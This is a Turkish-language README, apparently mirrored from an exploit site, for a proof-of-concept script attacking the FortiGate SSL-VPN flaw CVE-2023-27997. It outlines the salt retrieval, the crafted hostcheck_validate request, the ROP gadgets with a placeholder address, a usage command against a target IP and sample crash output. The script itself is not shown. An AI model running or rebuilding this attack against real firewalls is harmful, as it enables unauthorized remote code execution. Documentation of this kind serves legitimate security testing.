Share
## https://sploitus.com/exploit?id=9A4567DD-29CC-5D82-9643-CA11FB510F61
<!-- ================================================================= -->
<!--                          fgt-cve-2023-27997                       -->
<!-- ================================================================= -->

# fgt-cve-2023-27997-exploit

> FortiGate SSL‑VPN **CVE‑2023‑27997** Exploit PoC Script with ROP Chain

[![CVE Score](https://img.shields.io/badge/CVE--2023--27997-9.2%2FCRITICAL-red)](https://nvd.nist.gov/vuln/detail/CVE-2023-27997)
[![Python](https://img.shields.io/badge/python-3.7%2B-yellow)](https://www.python.org/downloads/)

---

## İçindekiler <!-- omit in toc -->

- [Açıklama](#açıklama)
- [Etkilenen Sürümler](#etkilenen-sürümler)
- [Kurulum](#kurulum)
- [Kullanım](#kullanım)
- [Örnek Çıktı](#örnek-çıktı)
- [Teknik Detaylar](#teknik-detaylar)
- [Uyarılar](#uyarılar)
- [Kaynaklar](#kaynaklar)

---

## Açıklama

`fgt-cve-2023-27997-exploit.py`, Fortinet FortiGate cihazlarında keşfedilen kritik güvenlik açığı **CVE‑2023‑27997** için yazılmış bir **Proof‑of‑Concept (PoC)** exploit scriptidir.  
Zafiyet, FortiOS SSL‑VPN arayüzünde kimlik doğrulama gerektirmeden **uzaktan kod çalıştırılmasına (RCE)** imkan veren **heap tabanlı buffer overflow** hatasından kaynaklanır.

Script çalışma adımları:

1. Hedef cihazdan **salt** değerini elde eder.  
2. Özel bir **ROP (Return‑Oriented Programming) zinciri** üretir.  
3. `/remote/hostcheck_validate` endpoint'ine manipüle edilmiş **GET** isteği göndererek **bellek taşmasını** tetikler.  
4. Taşma sonrasında hazırlanan ROP zinciri işletilerek uzaktan komut çalıştırılır.

> **Dikkat:** Script yalnızca _yetkilendirilmiş test veya laboratuvar_ ortamlarında kullanılmalıdır.

---

## Etkilenen Sürümler

| Ürün | Sürümler |
|------|----------|
| FortiOS | 7.2.0 – 7.2.5<br>7.0.0 – 7.0.11<br>6.4.0 – 6.4.12<br>6.2.0 – 6.2.14<br>6.0.0 – 6.0.16 |
| FortiProxy | İlgili sürümler |

---

## Kurulum

1. Python 3.7+ ortamı hazırlayın.  
2. Gerekli bağımlılıkları kurun:

```bash
pip3 install -r requirements.txt
```

> **requirements.txt** içeriği:
> ```text
> requests
> urllib3
> ```

---

## Kullanım

```bash
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
```

Örnek:

```bash
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
```

| Argüman | Açıklama |
|---------|----------|
| `<TARGET_IP>` | Hedef FortiGate IP adresi |
| `<TARGET_PORT>` | SSL‑VPN portu (default: 443 veya 10443) |

---

## Örnek Çıktı

```text
[*] FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit Başlatılıyor...
[+] Salt alındı: 749a2b77
[+] Enc parametresi oluşturuldu (1024 karakter)
[!] 500 Internal Server Error - Bellek taşması veya crash olabilir!
```

---

## Teknik Detaylar

<details>
<summary>Görmek için tıklayın</summary>

### Zafiyet Akışı

```text
/remote/info   --> salt değeri alınır
/remote/hostcheck_validate?enc=<payload> --> buffer overflow tetiklenir
```

- `enc` parametresi, `salt` + `seed` birleşiminden üretilen **XOR keystream** ile şifrelenir.  
- **Uzunluk** kontrolündeki hata taşmayı mümkün kılar.  
- Taşma sonrası **ROP Chain** devreye girer.

### ROP Zinciri

| Adım | Gadget | Açıklama |
|------|--------|----------|
| 1 | `pop rdi ; ret` | `RDI`'ye komut adresi yüklenir |
| 2 | `system@plt` | Komut işletilir |
| – | `0xdeadbeefdeadbeef` | Placeholder; gerçek adres lab ortamında belirlenmelidir |

### Heap Spray

Bu PoC, kontrollü test ortamında **heap grooming** gerektirmeden çalışacak şekilde tasarlanmıştır.

</details>

---

## Uyarılar

- Script yalnızca _yetkilendirilmiş_ ortamlarda çalıştırılmalıdır.  
- İzinsiz kullanım **yasalara aykırıdır** ve hedef cihaz **çökebilir**.  
- FortiOS 7.0.5 sürümleri **TLS 1.0** kullanır; script içinde uygun TLS ayarı yapılmıştır.

---

## Kaynaklar

- Lexfo Security Blog – *XORtigate: CVE‑2023‑27997*  
- Bishop Fox – *Building an Exploit for CVE‑2023‑27997*  
- Fortinet PSIRT Advisory **FG‑IR‑23‑097**

---